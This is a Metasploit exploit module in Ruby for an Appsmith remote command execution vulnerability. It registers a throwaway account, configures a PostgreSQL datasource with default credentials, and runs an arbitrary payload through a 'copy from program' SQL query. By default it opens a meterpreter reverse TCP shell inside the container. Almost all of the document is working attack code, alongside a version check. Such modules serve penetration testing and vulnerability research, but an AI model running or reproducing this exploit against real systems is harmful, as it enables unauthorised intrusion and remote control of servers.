## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Appsmith RCE', 'Description' => %q{ An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. }, 'Author' => [ 'Whit Taylor (Rhino Security Labs)', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-55964'], # Seems like correct CVE is not CVE-2024-55963 but CVE-2024-55964. ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/'], ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py'], ], 'Platform' => %w[linux], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultOptions' => { 'FETCH_DELETE' => true }, 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => '\'"' }, 'DisclosureDate' => '2025-03-25', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(443), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications') }) return Exploit::CheckCode::Unknown('Cannot reach server') unless res&.code == 200 html_document = res.get_html_document return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? version_element = html_document.text.match(/parseConfig\('v(\d+\.\d+)'\)/) return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element[1]) return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.20'), Rex::Version.new('1.51')) Exploit::CheckCode::Appears("Version #{version} detected.") end def exploit user = { 'email' => "#{rand_text_alphanumeric(50)}@#{rand_text_alphanumeric(50)}.com", 'password' => rand_text_alphanumeric(10).to_s } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/users'), 'keep_cookies' => true, 'vars_post' => user }) fail_with(Failure::Unknown, 'Failed to signup.') unless res&.code == 302 print_status('Successfully signed up.') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/workspaces/home') }) fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200 workspace_id = res.get_json_document&.dig('data', 0, 'id') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/plugins/default/icons') }) fail_with(Failure::Unknown, 'Failed to get plugin information.') unless res&.code == 200 postgresql_plugin = res.get_json_document['data']&.detect { |row| row['name'] == 'PostgreSQL' } fail_with(Failure::Unknown, 'Failed to get PostgreSQL plugin information.') unless postgresql_plugin postgresql_plugin_id = postgresql_plugin['id'] db_conf = { 'datasourceStorages' => { 'unused_env' => { 'datasourceConfiguration' => { 'authentication' => { 'databaseName' => 'postgres', 'password' => 'postgres', 'username' => 'postgres' }, 'connection' => { 'mode' => 'READ_WRITE', 'ssl' => { 'authType' => 'DEFAULT' } }, 'endpoints' => [ { 'host' => 'localhost', 'port' => '5432' } ], 'properties' => [ nil, { 'key' => 'Connection method', 'value' => 'STANDARD' } ], 'sshProxy' => { 'endpoints' => [{ 'port' => '22' }] }, 'url' => '' }, 'datasourceId' => '', 'environmentId' => 'unused_env', 'isConfigured' => true } }, 'name' => rand_text_alphanumeric(20), 'pluginId' => postgresql_plugin_id, 'workspaceId' => workspace_id }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/datasources'), 'ctype' => 'application/json', 'data' => db_conf }) fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document&.dig('responseMeta', 'success') print_status('Successfully saved DB configuration.') datasource_id = res.get_json_document&.dig('data', 'id') table_name = rand_text_alpha(4) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"), 'ctype' => 'application/json', 'data' => { title: 'SELECT', body: "create temporary table #{table_name} (column1 TEXT);", suggested: true }.to_json }) fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta', 'success') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"), 'ctype' => 'application/json', 'data' => { title: 'SELECT', body: "copy #{table_name} from program '#{payload.encode}';", suggested: true }.to_json }) fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta', 'success') end end